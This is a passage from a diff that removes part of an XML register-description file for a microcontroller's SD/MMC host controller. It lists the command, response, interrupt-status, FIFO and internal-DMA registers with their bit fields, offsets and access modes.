-Bit 10 (HTO): Data starvation-by-host timeout;
-Bit 9 (DRTO): Data read timeout;
-Bit 8 (RTO): Response timeout; 
-Bit 7 (DCRC): Data CRC error; 
-Bit 6 (RCRC): Response CRC error; 
-Bit 5 (RXDR): Receive FIFO data request; 
-Bit 4 (TXDR): Transmit FIFO data request; 
-Bit 3 (DTO): Data transfer over; 
-Bit 2 (CD): Command done; 
-Bit 1 (RE): Response error;
-Bit 0 (CD): Card detect.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SDIO_INT_MASK</name>
-              <description>SDIO interrupt mask, one bit for each card. Bit[17:16] correspond to card[15:0] respectively. When masked, SDIO interrupt detection for that card is disabled. 0 masks an interrupt, and 1 enables an interrupt.</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CMDARG</name>
-          <description>Command argument data register</description>
-          <addressOffset>0x28</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CMDARG</name>
-              <description>Value indicates command argument to be passed to the card.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CMD</name>
-          <description>Command and boot configuration register</description>
-          <addressOffset>0x2C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x20000000</resetValue>
-          <fields>
-            <field>
-              <name>INDEX</name>
-              <description>Command index.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RESPONSE_EXPECT</name>
-              <description>0: No response expected from card; 1: Response expected from card.</description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RESPONSE_LENGTH</name>
-              <description>0: Short response expected from card; 1: Long response expected from card.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CHECK_RESPONSE_CRC</name>
-              <description>0: Do not check; 1: Check response CRC.
-Some of command responses do not return valid CRC bits. Software should disable CRC checks for those commands in order to disable CRC checking by controller.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DATA_EXPECTED</name>
-              <description>0: No data transfer expected; 1: Data transfer expected.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>READ_WRITE</name>
-              <description>0: Read from card; 1: Write to card.
-Don't care if no data is expected from card.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TRANSFER_MODE</name>
-              <description>Block data transfer command; 1: Stream data transfer command.
-Don't care if no data expected.</description>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SEND_AUTO_STOP</name>
-              <description>0: No stop command is sent at the end of data transfer; 1: Send stop command at the end of data transfer.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>WAIT_PRVDATA_COMPLETE</name>
-              <description>0: Send command at once, even if previous data transfer has not completed; 1: Wait for previous data transfer to complete before sending Command.
-The SDHOST_WAIT_PRVDATA_COMPLETE] = 0 option is typically used to query status of card during data transfer or to stop current data transfer. SDHOST_CARD_NUMBERr should be same as in previous command.</description>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>STOP_ABORT_CMD</name>
-              <description>0: Neither stop nor abort command can stop current data transfer. If abort is sent to function-number currently selected or not in data-transfer mode, then bit should be set to 0; 1: Stop or abort command intended to stop current data transfer in progress.
-When open-ended or predefined data transfer is in progress, and host issues stop or abort command to stop data transfer, bit should be set so that command/data state-machines of CIU can return correctly to idle state.</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SEND_INITIALIZATION</name>
-              <description>0: Do not send initialization sequence (80 clocks of 1) before sending this command; 1: Send initialization sequence before sending this command.
-After powered on, 80 clocks must be sent to card for initialization before sending any commands to card. Bit should be set while sending first command to card so that controller will initialize clocks before sending command to card.</description>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CARD_NUMBER</name>
-              <description>Card number in use. Represents physical slot number of card being accessed. In SD-only mode, up to two cards are supported.</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>UPDATE_CLOCK_REGISTERS_ONLY</name>
-              <description>0: Normal command sequence; 1: Do not send commands, just update clock register value into card clock domain.
-Following register values are transferred into card clock domain: CLKDIV, CLRSRC, and CLKENA.
-Changes card clocks (change frequency, truncate off or on, and set low-frequency mode). This is provided in order to change clock frequency or stop clock without having to send command to cards. During normal command sequence, when sdhost_update_clock_registers_only = 0, following control registers are transferred from BIU to CIU: CMD, CMDARG, TMOUT, CTYPE, BLKSIZ, and BYTCNT. CIU uses new register values for new command sequence to card(s). When bit is set, there are no Command Done interrupts because no command is sent to SD_MMC_CEATA cards.</description>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>READ_CEATA_DEVICE</name>
-              <description>Read access flag.
-0: Host is not performing read access (RW_REG or RW_BLK)towards CE-ATA device;
-1: Host is performing read access (RW_REG or RW_BLK) towards CE-ATA device.
-Software should set this bit to indicate that CE-ATA device is being accessed for read transfer. This bit is used to disable read data timeout indication while performing CE-ATA read transfers. Maximum value of I/O transmission delay can be no less than 10 seconds. SD/MMC should not indicate read data timeout while waiting for data from CE-ATA device.</description>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CCS_EXPECTED</name>
-              <description>Expected Command Completion Signal (CCS) configuration.
-0: Interrupts are not enabled in CE-ATA device (nIEN = 1 in ATA control register), or command does not expect CCS from device;
-1: Interrupts are enabled in CE-ATA device (nIEN = 0), and RW_BLK command expects command completion signal from CE-ATA device. 
-If the command expects Command Completion Signal (CCS) from the CE-ATA device, the software should set this control bit. SD/MMC sets Data Transfer Over (DTO) bit in RINTSTS register and generates interrupt to host if Data Transfer Over interrupt is not masked.</description>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>USE_HOLE</name>
-              <description>Use Hold Register.
-0: CMD and DATA sent to card bypassing HOLD Register;
-1: CMD and DATA sent to card through the HOLD Register.</description>
-              <bitOffset>29</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>START_CMD</name>
-              <description>Start command. Once command is served by the CIU, this bit is automatically cleared. When this bit is set, host should not attempt to write to any command registers. If a write is attempted, hardware lock error is set in raw interrupt register. Once command is sent and a response is received from SD_MMC_CEATA cards, Command Done bit is set in the raw interrupt Register.</description>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>RESP0</name>
-          <description>Response data register</description>
-          <addressOffset>0x30</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>RESPONSE0</name>
-              <description>Bit[31:0] of response.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>RESP1</name>
-          <description>Long response data register</description>
-          <addressOffset>0x34</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>RESPONSE1</name>
-              <description>Bit[63:32] of long response.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>RESP2</name>
-          <description>Long response data register</description>
-          <addressOffset>0x38</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>RESPONSE2</name>
-              <description>Bit[95:64] of long response.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>RESP3</name>
-          <description>Long response data register</description>
-          <addressOffset>0x3C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>RESPONSE3</name>
-              <description>Bit[127:96] of long response.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>MINTSTS</name>
-          <description>Masked interrupt status register</description>
-          <addressOffset>0x40</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>INT_STATUS_MSK</name>
-              <description>Interrupt enabled only if corresponding bit in interrupt mask register is set.
-Bit 15 (EBE): End-bit error/no CRC error;
-Bit 14 (ACD): Auto command done;
-Bit 13 (SBE/BCI): RX Start Bit Error;
-Bit 12 (HLE): Hardware locked write error; 
-Bit 11 (FRUN): FIFO underrun/overrun error;
-Bit 10 (HTO): Data starvation by host timeout (HTO);
-Bit 9 (DTRO): Data read timeout; 
-Bit 8 (RTO): Response timeout; 
-Bit 7 (DCRC): Data CRC error; 
-Bit 6 (RCRC): Response CRC error; 
-Bit 5 (RXDR): Receive FIFO data request; 
-Bit 4 (TXDR): Transmit FIFO data request;
-Bit 3 (DTO): Data transfer over; 
-Bit 2 (CD): Command done; 
-Bit 1 (RE): Response error;
-Bit 0 (CD): Card detect.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SDIO_INTERRUPT_MSK</name>
-              <description>Interrupt from SDIO card, one bit for each card. Bit[17:16] correspond to card1 and card0, respectively. SDIO interrupt for card is enabled only if corresponding sdhost_sdio_int_mask bit is set in Interrupt mask register (Setting mask bit enables interrupt).</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>RINTSTS</name>
-          <description>Raw interrupt status register</description>
-          <addressOffset>0x44</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>INT_STATUS_RAW</name>
-              <description>Setting a bit clears the corresponding interrupt and writing 0 has no effect. Bits are logged regardless of interrupt mask status.
-Bit 15 (EBE): End-bit error/no CRC error;
-Bit 14 (ACD): Auto command done;
-Bit 13 (SBE/BCI): RX Start Bit Error;
-Bit 12 (HLE): Hardware locked write error; 
-Bit 11 (FRUN): FIFO underrun/overrun error;
-Bit 10 (HTO): Data starvation by host timeout (HTO);
-Bit 9 (DTRO): Data read timeout; 
-Bit 8 (RTO): Response timeout; 
-Bit 7 (DCRC): Data CRC error; 
-Bit 6 (RCRC): Response CRC error; 
-Bit 5 (RXDR): Receive FIFO data request; 
-Bit 4 (TXDR): Transmit FIFO data request;
-Bit 3 (DTO): Data transfer over; 
-Bit 2 (CD): Command done; 
-Bit 1 (RE): Response error;
-Bit 0 (CD): Card detect.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SDIO_INTERRUPT_RAW</name>
-              <description>Interrupt from SDIO card, one bit for each card. Bit[17:16] correspond to card1 and card0, respectively. Setting a bit clears the corresponding interrupt bit and writing 0 has no effect.
-0: No SDIO interrupt from card;
-1: SDIO interrupt from card.</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>STATUS</name>
-          <description>SD/MMC status register</description>
-          <addressOffset>0x48</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000716</resetValue>
-          <fields>
-            <field>
-              <name>FIFO_RX_WATERMARK</name>
-              <description>FIFO reached Receive watermark level, not qualified with data transfer.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FIFO_TX_WATERMARK</name>
-              <description>FIFO reached Transmit watermark level, not qualified with data transfer.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FIFO_EMPTY</name>
-              <description>FIFO is empty status.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FIFO_FULL</name>
-              <description>FIFO is full status.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>COMMAND_FSM_STATES</name>
-              <description>Command FSM states.
-0: Idle;
-1: Send init sequence; 
-2: Send cmd start bit; 
-3: Send cmd tx bit;
-4: Send cmd index + arg;
-5: Send cmd crc7;
-6: Send cmd end bit;
-7: Receive resp start bit;
-8: Receive resp IRQ response;
-9: Receive resp tx bit;
-10: Receive resp cmd idx;
-11: Receive resp data;
-12: Receive resp crc7;
-13: Receive resp end bit;
-14: Cmd path wait NCC;
-15: Wait, cmd-to-response turnaround.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>DATA_3_STATUS</name>
-              <description>Raw selected sdhost_card_data[3], checks whether card is present.
-0: card not present;
-1: card present.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>DATA_BUSY</name>
-              <description>Inverted version of raw selected sdhost_card_data[0].
-0: Card data not busy;
-1: Card data busy.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>DATA_STATE_MC_BUSY</name>
-              <description>Data transmit or receive state-machine is busy.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RESPONSE_INDEX</name>
-              <description>Index of previous response, including any auto-stop sent by core.</description>
-              <bitOffset>11</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FIFO_COUNT</name>
-              <description>FIFO count, number of filled locations in FIFO.</description>
-              <bitOffset>17</bitOffset>
-              <bitWidth>13</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>FIFOTH</name>
-          <description>FIFO configuration register</description>
-          <addressOffset>0x4C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TX_WMARK</name>
-              <description>FIFO threshold watermark level when transmitting data to card. When FIFO data count is less than or equal to this number, DMA/FIFO request is raised. If Interrupt is enabled, then interrupt  occurs. During end of packet, request or interrupt is generated, regardless of threshold programming.In non-DMA mode, when transmit FIFO threshold (TXDR) interrupt is enabled, then interrupt is generated instead of DMA request. During end of packet, on last interrupt, host is responsible for filling FIFO with only required remaining bytes (not before FIFO is full or after CIU completes data transfers, because FIFO may not be empty).  In DMA mode, at end of packet, if last transfer is less than burst  size, DMA controller does single cycles until required bytes are  transferred.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>12</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RX_WMARK</name>
-              <description>FIFO threshold watermark level when receiving data to card.When FIFO data count reaches greater than this number , DMA/FIFO request is raised. During end of packet, request is generated regardless of threshold programming in order to complete any remaining data.In non-DMA mode, when receiver FIFO threshold (RXDR) interrupt is enabled, then interrupt is generated instead of DMA request.During end of packet, interrupt is not generated if threshold programming is larger than any remaining data. It is responsibility of host to read remaining bytes on seeing Data Transfer Done interrupt.In DMA mode, at end of packet, even if remaining bytes are less than threshold, DMA request does single transfers to flush out any remaining bytes before Data Transfer Done interrupt is set.</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>11</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DMA_MULTIPLE_TRANSACTION_SIZE</name>
-              <description>Burst size of multiple transaction, should be programmed same as DMA controller multiple-transaction-size SDHOST_SRC/DEST_MSIZE.
-000: 1-byte transfer; 
-001: 4-byte transfer; 
-010: 8-byte transfer; 
-011: 16-byte transfer; 
-100: 32-byte transfer; 
-101: 64-byte transfer; 
-110: 128-byte transfer; 
-111: 256-byte transfer.</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CDETECT</name>
-          <description>Card detect register</description>
-          <addressOffset>0x50</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CARD_DETECT_N</name>
-              <description>Value on sdhost_card_detect_n input ports (1 bit per card), read-only bits. 0 represents presence of card. Only NUM_CARDS number of bits are implemented.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>WRTPRT</name>
-          <description>Card write protection (WP) status register</description>
-          <addressOffset>0x54</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>WRITE_PROTECT</name>
-              <description>Value on sdhost_card_write_prt input ports (1 bit per card). 1 represents write protection. Only NUM_CARDS number of bits are implemented.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>TCBCNT</name>
-          <description>Transferred byte count register</description>
-          <addressOffset>0x5C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TCBCNT</name>
-              <description>Number of bytes transferred by CIU unit to card.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>TBBCNT</name>
-          <description>Transferred byte count register</description>
-          <addressOffset>0x60</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TBBCNT</name>
-              <description>Number of bytes transferred between Host/DMA memory and BIU FIFO.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DEBNCE</name>
-          <description>Debounce filter time configuration register</description>
-          <addressOffset>0x64</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>DEBOUNCE_COUNT</name>
-              <description>Number of host clocks (clk) used by debounce filter logic. The typical debounce time is 5 \verb+~+ 25 ms to prevent the card instability when the card is inserted or removed.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>24</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>USRID</name>
-          <description>User ID (scratchpad) register</description>
-          <addressOffset>0x68</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>USRID</name>
-              <description>User identification register, value set by user. Can also be used as a scratchpad register by user.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>VERID</name>
-          <description>Version ID (scratchpad) register</description>
-          <addressOffset>0x6C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x5432270A</resetValue>
-          <fields>
-            <field>
-              <name>VERSIONID</name>
-              <description>Hardware version register. Can also be read by fireware.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>HCON</name>
-          <description>Hardware feature register</description>
-          <addressOffset>0x70</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x03444CC3</resetValue>
-          <fields>
-            <field>
-              <name>CARD_TYPE</name>
-              <description>Hardware support SDIO and MMC.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>CARD_NUM</name>
-              <description>Support card number is 2.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>BUS_TYPE</name>
-              <description>Register config is APB bus.</description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>DATA_WIDTH</name>
-              <description>Regisger data widht is 32.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>ADDR_WIDTH</name>
-              <description>Register address width is 32.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>DMA_WIDTH</name>
-              <description>DMA data witdth is 32.</description>
-              <bitOffset>18</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RAM_INDISE</name>
-              <description>Inside RAM in SDMMC module.</description>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>HOLD</name>
-              <description>Have a hold regiser in data path .</description>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>NUM_CLK_DIV</name>
-              <description>Have 4 clk divider in design .</description>
-              <bitOffset>24</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>UHS</name>
-          <description>UHS-1 register</description>
-          <addressOffset>0x74</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>DDR</name>
-              <description>DDR mode selecton,1 bit for each card.
-0-Non-DDR mdoe.
-1-DDR mdoe.</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>RST_N</name>
-          <description>Card reset register</description>
-          <addressOffset>0x78</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000001</resetValue>
-          <fields>
-            <field>
-              <name>CARD_RESET</name>
-              <description>Hardware reset.
-1: Active mode; 
-0: Reset. 
-These bits cause the cards to enter pre-idle state, which requires them to be re-initialized. SDHOST_RST_CARD_RESET[0] should be set to 1'b0 to reset card0, SDHOST_RST_CARD_RESET[1] should be set to 1'b0 to reset card1.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BMOD</name>
-          <description>Burst mode transfer configuration register</description>
-          <addressOffset>0x80</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SWR</name>
-              <description>Software Reset. When set, the DMA Controller resets all its internal registers. It is automatically cleared after one clock cycle.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FB</name>
-              <description>Fixed Burst. Controls whether the AHB Master interface performs fixed burst transfers or not. When set, the AHB will use only SINGLE, INCR4, INCR8 or INCR16 during start of normal burst transfers. When reset, the AHB will use SINGLE and INCR burst transfer operations.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DE</name>
-              <description>IDMAC Enable. When set, the IDMAC is enabled.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PBL</name>
-              <description>Programmable Burst Length. These bits indicate the maximum number of beats to be performed in one IDMAC???Internal DMA Control???transaction. The IDMAC will always attempt to burst as specified in PBL each time it starts a burst transfer on the host bus. The permissible values are 1, 4, 8, 16, 32, 64, 128 and 256. This value is the mirror of MSIZE of FIFOTH register. In order to change this value, write the required value to FIFOTH register. This is an encode value as follows:
-000: 1-byte transfer; 
-001: 4-byte transfer; 
-010: 8-byte transfer; 
-011: 16-byte transfer; 
-100: 32-byte transfer; 
-101: 64-byte transfer; 
-110: 128-byte transfer; 
-111: 256-byte transfer.
-PBL is a read-only value and is applicable only for data access, it does not apply to descriptor access.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PLDMND</name>
-          <description>Poll demand configuration register</description>
-          <addressOffset>0x84</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>PD</name>
-              <description>Poll Demand. If the OWNER bit of a descriptor is not set, the FSM goes to the Suspend state. The host needs to write any value into this register for the IDMAC FSM to resume normal descriptor fetch operation. This is a write only .</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DBADDR</name>
-          <description>Descriptor base address register</description>
-          <addressOffset>0x88</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>DBADDR</name>
-              <description>Start of Descriptor List. Contains the base address of the First Descriptor. The LSB bits [1:0] are ignored and taken as all-zero by the IDMAC internally. Hence these LSB bits may be treated as read-only.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>IDSTS</name>
-          <description>IDMAC status register</description>
-          <addressOffset>0x8C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TI</name>
-              <description>Transmit Interrupt. Indicates that data transmission is finished for a descriptor. Writing 1 clears this bit.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RI</name>
-              <description>Receive Interrupt. Indicates the completion of data reception for a descriptor. Writing 1 clears this bit.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FBE</name>
-              <description>Fatal Bus Error Interrupt. Indicates that a Bus Error occurred (IDSTS[12:10]) . When this bit is set, the DMA disables all its bus accesses. Writing 1 clears this bit.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DU</name>
-              <description>Descriptor Unavailable Interrupt. This bit is set when the descriptor is unavailable due to OWNER bit = 0 (DES0[31] = 0). Writing 1 clears this bit.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CES</name>
-              <description>Card Error Summary. Indicates the status of the transaction to/from the card, also present in RINTSTS. Indicates the logical OR of the following bits:
-EBE : End Bit Error; 
-RTO : Response Timeout/Boot Ack Timeout; 
-RCRC : Response CRC; 
-SBE : Start Bit Error; 
-DRTO : Data Read Timeout/BDS timeout; 
-DCRC : Data CRC for Receive; 
-RE : Response Error.
-Writing 1 clears this bit. The abort condition of the IDMAC depends on the setting of this CES bit. If the CES bit is enabled, then the IDMAC aborts on a response error.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>NIS</name>
-              <description>Normal Interrupt Summary. Logical OR of the following: IDSTS[0] : Transmit Interrupt, IDSTS[1] : Receive Interrupt. Only unmasked bits affect this bit. This is a sticky bit and must be cleared each time a corresponding bit that causes NIS to be set is cleared. Writing 1 clears this bit.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>AIS</name>
-              <description>Abnormal Interrupt Summary. Logical OR of the following: IDSTS[2] : Fatal Bus Interrupt, IDSTS[4] : DU bit Interrupt. Only unmasked bits affect this bit. This is a sticky bit and must be cleared each time a corresponding bit that causes AIS to be set is cleared. Writing 1 clears this bit.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FBE_CODE</name>
-              <description>Fatal Bus Error Code. Indicates the type of error that caused a Bus Error. Valid only when the Fatal Bus Error bit IDSTS[2] is set. This field does not generate an interrupt.
-001: Host Abort received during transmission;
-010: Host Abort received during reception;
-Others: Reserved.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FSM</name>
-              <description>DMAC FSM present state.
-0: DMA_IDLE (idle state); 
-1: DMA_SUSPEND (suspend state); 
-2: DESC_RD (descriptor reading state); 
-3: DESC_CHK (descriptor checking state); 
-4: DMA_RD_REQ_WAIT (read-data request waiting state);
-5: DMA_WR_REQ_WAIT (write-data request waiting state); 
-6: DMA_RD (data-read state); 
-7: DMA_WR (data-write state); 
-8: DESC_CLOSE (descriptor close state).</description>
-              <bitOffset>13</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>IDINTEN</name>
-          <description>IDMAC interrupt enable register</description>
-          <addressOffset>0x90</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TI</name>
-              <description>Transmit Interrupt Enable. When set with Normal Interrupt Summary Enable, Transmit Interrupt is enabled. When reset, Transmit Interrupt is disabled.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
